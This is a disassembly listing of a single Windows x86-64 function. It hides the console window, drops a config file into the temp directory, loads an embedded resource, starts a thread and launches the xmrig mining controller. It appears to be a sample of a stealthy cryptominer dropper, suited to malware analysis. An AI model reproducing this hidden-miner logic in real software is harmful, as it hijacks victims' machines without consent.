Function at 0x14014bb80
Capabilities:
Create thread
Get common file path
Read file on windows
Write file on windows

Disassembly:
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2c50]
mov eax, 0x2d50
call fcn.1400d5d80
sub rsp, rax
mov qword [rbp - 0x28], 0xfffffffffffffffe
mov qword [rsp + 0x2da0], rbx
mov rax, qword [0x1401e7270]
xor rax, rsp
mov qword [rbp + 0x2c40], rax
mov qword [rsp + 0x38], rdx
movsxd r15, ecx
mov dword [rsp + 0x34], r15d
call fcn.14014c7d0
test al, al
jne 0x14014bbdf
xor eax, eax
jmp 0x14014c79d
xor r12d, r12d
mov ebx, r12d
mov edi, 1
nop word [rax + rax]
mov edx, 0x80
mov rcx, rdi
call fcn.1400fe5fc
mov qword [rbp + rbx*8 + 0x120], rax
inc rbx
cmp rbx, 0x20
jl 0x14014bbf0
mov byte [rsp + 0x30], r12b
mov qword [rbp + 8], r15
mov qword [rsp + 0x50], r12
or rsi, 0xffffffffffffffff
test r15d, r15d
mov rdi, qword [rsp + 0x38]
jle 0x14014be58
lea rax, [rbp + 0x120]
sub rax, rdi
mov qword [rbp + 0x18], rax
nop dword [rax]
mov qword [rbp + 0x40], setsockopt
mov qword [rbp + 0x38], r12
mov byte [rbp + 0x28], 0
mov r8d, 2
lea rdx, [0x1401ada1c]
lea rcx, [rbp + 0x28]
call fcn.140005180
nop
mov rdx, qword [rdi]
mov qword [rbp + 0x60], setsockopt
mov qword [rbp + 0x58], r12
mov byte [rbp + 0x48], 0
cmp byte [rdx], 0
jne 0x14014bc84
mov r8, r12
jmp 0x14014bc9a
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x14014bc90
lea rcx, [rbp + 0x48]
call fcn.140005180
lea rdx, [rbp + 0x28]
mov rbx, qword [rbp + 0x28]
mov r15, qword [rbp + 0x40]
cmp r15, 0x10
cmovae rdx, rbx
lea rcx, [rbp + 0x48]
mov rdi, qword [rbp + 0x48]
cmp qword [rbp + 0x60], 0x10
cmovae rcx, rdi
mov r12, qword [rbp + 0x38]
mov r8, r12
mov r13, qword [rbp + 0x58]
cmp r13, r12
cmovb r8, r13
test r8, r8
je 0x14014bceb
call fcn.1400f6d20
mov r14d, eax
test eax, eax
jne 0x14014bcff
cmp r13, r12
jae 0x14014bcf5
mov r14d, esi
jmp 0x14014bcff
xor r14d, r14d
cmp r13, r12
seta r14b
mov rax, qword [rbp + 0x60]
cmp rax, 0x10
jb 0x14014bd55
inc rax
cmp rax, 0x1000
jb 0x14014bd45
test byte [rbp + 0x48], 0x1f
jne 0x14014be35
mov rax, qword [rdi - 8]
cmp rax, rdi
jae 0x14014be2f
sub rdi, rax
cmp rdi, 8
jb 0x14014be29
cmp rdi, 0x27
ja 0x14014be23
mov rdi, rax
mov rcx, rdi
call fcn.1400cd710
mov r15, qword [rbp + 0x40]
mov rbx, qword [rbp + 0x28]
mov qword [rbp + 0x60], setsockopt
xor r12d, r12d
mov qword [rbp + 0x58], r12
mov byte [rbp + 0x48], r12b
cmp r15, 0x10
jb 0x14014bdb3
lea rax, [r15 + 1]
cmp rax, 0x1000
jb 0x14014bdab
test byte [rbp + 0x28], 0x1f
jne 0x14014be4d
mov rax, qword [rbx - 8]
cmp rax, rbx
jae 0x14014be47
sub rbx, rax
cmp rbx, 8
jb 0x14014be41
cmp rbx, 0x27
ja 0x14014be3b
mov rbx, rax
mov rcx, rbx
call fcn.1400cd710
mov rdi, qword [rsp + 0x38]
test r14d, r14d
jne 0x14014bdd4
mov r14b, 1
mov byte [rsp + 0x30], r14b
mov r15d, dword [rsp + 0x34]
dec r15d
mov dword [rsp + 0x34], r15d
jmp 0x14014be02
mov rdx, qword [rdi]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x14014bde0
mov rax, qword [rbp + 0x18]
mov rcx, qword [rax + rdi]
call fcn.1400fbf00
mov r15d, dword [rsp + 0x34]
movzx r14d, byte [rsp + 0x30]
mov rbx, qword [rsp + 0x50]
inc rbx
mov qword [rsp + 0x50], rbx
add rdi, 8
mov qword [rsp + 0x38], rdi
cmp rbx, qword [rbp + 8]
jge 0x14014be53
jmp 0x14014bc40
call fcn.1400f7f64
int3
call fcn.1400f7f64
int3
call fcn.1400f7f64
int3
call fcn.1400f7f64
nop
call fcn.1400f7f64
int3
call fcn.1400f7f64
int3
call fcn.1400f7f64
int3
call fcn.1400f7f64
int3
test r14b, r14b
jne 0x14014be69
call qword [sym.imp.KERNEL32.DLL_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, [rbp + 0x330]
mov ecx, 0x103
call qword [sym.imp.KERNEL32.DLL_GetTempPathA]
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x220]
call fcn.1400f62a0
lea rax, str.excludes
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x330]
lea r8, str._s_s
mov edx, 0x103
lea rcx, [rbp + 0x220]
call fcn.140035520
mov qword [rbp + 0x40], setsockopt
mov qword [rbp + 0x38], r12
mov byte [rbp + 0x28], 0
mov r8d, 9
lea rdx, str.__config
lea rcx, [rbp + 0x28]
call fcn.140005180
nop
lea r8, [rbp + 0x220]
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x100]
call fcn.14000dab0
nop
mov rax, qword [rbp + 0x40]
cmp rax, 0x10
jb 0x14014bf4f
inc rax
mov rcx, qword [rbp + 0x28]
cmp rax, 0x1000
jb 0x14014bf4a
test cl, 0x1f
je 0x14014bf1d
call fcn.1400f7f64
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x14014bf2c
call fcn.1400f7f64
int3
sub rcx, rax
cmp rcx, 8
jae 0x14014bf3b
call fcn.1400f7f64
int3
cmp rcx, 0x27
jbe 0x14014bf47
call fcn.1400f7f64
int3
mov rcx, rax
call fcn.1400cd710
mov qword [rbp + 0x40], setsockopt
mov qword [rbp + 0x38], r12
mov byte [rbp + 0x28], 0
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
mov rbx, rax
lea r8, [0x1401ad9fc]
mov edx, 0x65
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_FindResourceA]
test rax, rax
jne 0x14014bfa2
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov r8d, eax
lea rdx, [rbp + 0x220]
lea rcx, str.FindResource_failed_rcName:__s_erorr:__d_n
call fcn.140006c30
jmp 0x14014bfb4
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x220]
call fcn.14014ca90
mov dword [rsp + 0x38], r12d
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0xe0]
call fcn.14014c8e0
mov rax, qword [rbp + 0xf8]
cmp rax, 0x10
jb 0x14014c026
inc rax
mov rcx, qword [rbp + 0xe0]
cmp rax, 0x1000
jb 0x14014c021
test cl, 0x1f
je 0x14014bff4
call fcn.1400f7f64
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x14014c003
call fcn.1400f7f64
int3
sub rcx, rax
cmp rcx, 8
jae 0x14014c012
call fcn.1400f7f64
int3
cmp rcx, 0x27
jbe 0x14014c01e
call fcn.1400f7f64
int3
mov rcx, rax
call fcn.1400cd710
mov ebx, dword [rsp + 0x38]
cmp ebx, 4
ja 0x14014c5ce
xor edx, edx
mov r8d, 0x2800
lea rcx, [rbp + 0x440]
call fcn.1400f62a0
lea rdx, [0x1401ada0c]
lea rcx, [rbp + 0x220]
call fcn.1400fe9e0
mov rdi, rax
test rax, rax
jne 0x14014c07a
lea rdx, [rbp + 0x220]
lea rcx, str.open__s_failed_n
call fcn.140006c30
jmp 0x14014c78f
mov r9, rdi
mov r8d, 0x27ff
mov r14d, 1
mov edx, r14d
lea rcx, [rbp + 0x440]
call fcn.1400fed44
mov rcx, rdi
call fcn.1400fda5c
xor eax, eax
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rax
mov word [rbp + 0x8e], r12w
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x90], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xa0], xmm1
movdqa xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0xc0], r12
mov qword [rbp + 0xc8], 0x400
mov dword [rbp + 0xd0], r12d
mov qword [rbp + 0xd8], r12
lea ecx, [rax + 0x28]
call fcn.1400d5074
mov qword [rbp + 8], rax
mov qword [rax], r12
mov qword [rax + 8], 0x10000
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], r12
mov qword [rax + 0x20], r12
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rax
lea rax, [rbp + 0x440]
mov qword [rbp + 0x18], rax
lea rax, [rbp + 0x440]
mov qword [rbp + 0x20], rax
mov rax, qword [rbp + 0xa0]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], r12
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], 0x100
mov dword [rbp - 0x70], r12d
mov qword [rbp - 0x68], r12
mov dword [rbp - 0x60], 2
lea rax, [rbp + 0x80]
mov qword [rbp + 8], rax
lea r9, [rbp + 0x80]
lea r8, [rbp + 0x18]
lea rdx, [rbp + 0x48]
lea rcx, [rsp + 0x60]
call fcn.140035fd0
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0xd0], xmm0
movd eax, xmm0
test eax, eax
jne 0x14014c1d5
mov rax, qword [rbp + 0xb8]
sub rax, 0x10
mov qword [rbp + 0xb8], rax
lea rcx, [rbp + 0x80]
cmp rcx, rax
je 0x14014c1d5
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x80], xmm0
mov word [rax + 0xe], r12w
mov rcx, qword [rbp + 0xb0]
mov qword [rbp + 0xb8], rcx
call fcn.1400f7d30
xorps xmm0, xmm0
movdqa xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0xc0], r12
mov rcx, qword [rsp + 0x70]
call fcn.1400f7d30
mov rdx, r14
mov rcx, qword [rsp + 0x68]
call fcn.1400d5358
cmp dword [rbp + 0xd0], 0
jne 0x14014c589
cmp word [rbp + 0x8e], 3
jne 0x14014c589
mov rdi, qword [rbp + 0x90]
xor eax, eax
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x20], rax
mov eax, 4
mov word [rbp + 0x26], ax
cmp ebx, 1
jbe 0x14014c307
dec ebx
lea r13d, [rax - 1]
lea r15, str.low_power_mode
lea rsi, str.affine_to_cpu
nop dword [rax]
nop word [rax + rax]
xor eax, eax
mov qword [rbp + 8], rax
mov qword [rbp + 0x10], rax
mov word [rbp + 0x16], r13w
mov qword [rsp + 0x50], r15
mov dword [rsp + 0x58], setsockopt
mov r9, rdi
mov r8d, r14d
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 8]
call fcn.14000d940
mov qword [rsp + 0x38], rsi
mov dword [rsp + 0x40], reloc.WS2_32.dll_listen
mov r9, rdi
xor r8d, r8d
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 8]
call fcn.140006a00
lea rax, [0x1401ada8c]
mov qword [rbp + 0x48], rax
mov dword [rbp + 0x50], r13d
mov r9, rdi
mov r8b, 1
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 8]
call fcn.140006a00
mov r8, rdi
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x18]
call fcn.140003290
nop
sub rbx, 1
jne 0x14014c270
or rsi, 0xffffffffffffffff
mov r15d, dword [rsp + 0x34]
lea rcx, [rbp + 0x80]
call fcn.140035590
xor eax, eax
mov qword [rbp + 8], rax
mov qword [rbp + 0x10], rax
mov eax, 0x405
mov word [rbp + 0x16], ax
mov rax, qword [rbp + 0x10]
movabs r13, 0xffff000000000000
and rax, r13
lea rcx, [0x1401b1688]
or rax, rcx
mov qword [rbp + 0x10], rax
mov dword [rbp + 8], 7
movabs rcx, 0xffffffffffff
mov edx, dword [rbp + 0x80]
mov eax, dword [rbp + 0x84]
cmp edx, eax
jb 0x14014c3bc
test eax, eax
jne 0x14014c36f
lea ebx, [rax + 0x10]
jmp 0x14014c37a
lea ebx, [rax + 1]
shr ebx, 1
add ebx, eax
cmp ebx, eax
jbe 0x14014c3bc
mov rdx, qword [rbp + 0x88]
and rdx, rcx
mov r9d, ebx
shl r9, 5
mov r8, rax
shl r8, 5
mov rcx, rdi
call fcn.140003650
mov rcx, qword [rbp + 0x88]
and rcx, r13
or rcx, rax
mov qword [rbp + 0x88], rcx
mov dword [rbp + 0x84], ebx
mov edx, dword [rbp + 0x80]
jmp 0x14014c3c3
mov rcx, qword [rbp + 0x88]
movabs rax, 0xffffffffffff
and rcx, rax
mov eax, edx
shl rax, 5
movups xmm0, xmmword [rbp + 8]
movups xmmword [rax + rcx], xmm0
mov eax, dword [rbp + 0x80]
shl rax, 5
movups xmm0, xmmword [rbp + 0x18]
movups xmmword [rax + rcx + 0x10], xmm0
mov word [rbp + 0x26], r12w
inc dword [rbp + 0x80]
mov qword [rbp + socket8], 0xf
mov qword [rbp + 0xf0], r12
mov byte [rbp + 0xe0], 0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x58], xmm1
mov qword [rbp + 0x68], r12
mov qword [rbp + 0x70], 0x100
lea rax, [rbp + 0x48]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], r12
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmmword [rbp - 0x80], xmm1
mov qword [rbp - 0x70], 0x200
mov dword [rbp - 0x68], 0x144
mov byte [rbp - 0x64], 0
mov byte [rbp - 0x60], 0x20
mov qword [rbp - 0x5c], 4
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x80]
call fcn.140035710
mov rax, qword [rbp + 0x68]
mov rcx, qword [rbp + 0x60]
sub rax, rcx
cmp rax, 1
jge 0x14014c49b
mov rdx, r14
lea rcx, [rbp + 0x48]
call fcn.140004260
mov rcx, qword [rbp + 0x60]
mov rax, rcx
inc rcx
mov qword [rbp + 0x60], rcx
mov byte [rax], 0
dec qword [rbp + 0x60]
mov rdx, qword [rbp + 0x58]
cmp byte [rdx], 0
jne 0x14014c4c0
mov rsi, r12
jmp 0x14014c4c9
inc rsi
cmp byte [rdx + rsi], 0
jne 0x14014c4c0
mov r8, rsi
lea rcx, [rbp + 0xe0]
call fcn.140005180
nop
mov rcx, qword [rsp + 0x78]
call fcn.1400f7d30
mov rdx, r14
mov rcx, qword [rsp + 0x70]
call fcn.1400d5358
nop
mov rcx, qword [rbp + 0x58]
call fcn.1400f7d30
mov rdx, r14
mov rcx, qword [rbp + 0x50]
call fcn.1400d5358
lea rdx, [0x1401ada34]
lea rcx, [rbp + 0x220]
call fcn.1400fe9e0
mov rbx, rax
lea rcx, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 0x10
cmovae rcx, qword [rbp + 0xe0]
mov r9, rax
mov r8, qword [rbp + 0xf0]
mov rdx, r14
call fcn.1400fde58
mov rcx, rbx
call fcn.1400fda5c
nop
lea rcx, [rbp + 0xe0]
call fcn.140005060
nop
mov rcx, qword [rbp + 0x98]
test rcx, rcx
je 0x14014c56c
call fcn.140003440
mov rcx, qword [rbp + 0xb0]
call fcn.1400f7d30
mov rdx, r14
mov rcx, qword [rbp + 0xa8]
call fcn.1400d5358
jmp 0x14014c5ce
lea rdx, [rbp + 0x220]
lea rcx, str.parse__s_json_object_failed_n
call fcn.140006c30
nop
mov rcx, qword [rbp + 0x98]
test rcx, rcx
je 0x14014c5ae
call fcn.140003440
mov rcx, qword [rbp + 0xb0]
call fcn.1400f7d30
mov rdx, r14
mov rcx, qword [rbp + 0xa8]
call fcn.1400d5358
jmp 0x14014c78f
movsxd rax, r15d
lea rdx, [rbp + 0x100]
cmp qword [rbp + 0x118], 0x10
cmovae rdx, qword [rbp + 0x100]
mov r8d, 0x7f
mov rcx, qword [rbp + rax*8 + 0x120]
call fcn.1400fbf00
lea edx, [r15 + 1]
lea rbx, [rbp - 0x20]
mov qword [rbp + 8], rbx
lea r8, [rbp + 0x120]
lea rcx, [rbp - 0x20]
call fcn.14012a700
call fcn.1400d24fc
mov rdx, rax
movabs rax, 0x346dc5d63886594b
imul rdx
sar rdx, 0xb
mov rcx, rdx
shr rcx, 0x3f
add rcx, rdx
xor ecx, ebx
call fcn.1400fd1d8
nop
mov dword [rsp + 0x48], r12d
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r12d
xor r9d, r9d
lea r8, [0x14014cd70]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
lea rcx, [rbp - 0x20]
call fcn.140122a70
test eax, eax
je 0x14014c6ee
sub eax, 1
je 0x14014c6c8
sub eax, 1
je 0x14014c6bc
sub eax, 1
je 0x14014c6b0
cmp eax, 1
je 0x14014c69e
mov esi, 1
jmp 0x14014c785
xor ecx, ecx
call fcn.14013b3e0
test al, al
je 0x14014c6e6
call fcn.14013ba60
jmp 0x14014c6e6
call fcn.140122cc0
mov esi, eax
jmp 0x14014c785
call fcn.140122d50
mov esi, eax
jmp 0x14014c785
call fcn.140122dc0
cmp qword [rax + 0x18], 0x10
jb 0x14014c6d7
mov rax, qword [rax]
mov rdx, rax
lea rcx, [0x1401ab6ac]
call fcn.140006c30
mov esi, r12d
jmp 0x14014c785
lea rax, vtable.xmrig::App.1.0
mov qword [rbp - 0x50], rax
lea rax, vtable.xmrig::App.0
mov qword [rbp - 0x48], rax
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r12
mov ecx, 0x28
call fcn.1400d5074
mov rbx, rax
mov qword [rbp + 8], rax
lea rdx, [rbp - 0x20]
mov rcx, rax
call fcn.140120850
lea rax, vtable.xmrig::Controller.1.0
mov qword [rbx], rax
lea rax, vtable.xmrig::Controller.0
mov qword [rbx + 8], rax
mov qword [rbx + 0x18], r12
mov qword [rbx + 0x20], r12
mov qword [rbp - 0x38], rbx
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + select]
test al, al
jne 0x14014c770
lea rdx, str.no_valid_configuration_found.
xor ecx, ecx
call fcn.1401200c0
mov esi, 2
jmp 0x14014c77b
lea rcx, [rbp - 0x50]
call fcn.140145c10
mov esi, eax
lea rcx, [rbp - 0x50]
call fcn.140145d50
nop
lea rcx, [rbp - 0x10]
call fcn.140006ce0
nop
lea rcx, [rbp + 0x100]
call fcn.140005060
mov eax, esi
mov rcx, qword [rbp + 0x2c40]
xor rcx, rsp
call fcn.1400d5050
mov rbx, qword [rsp + 0x2da0]
add rsp, 0x2d50
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret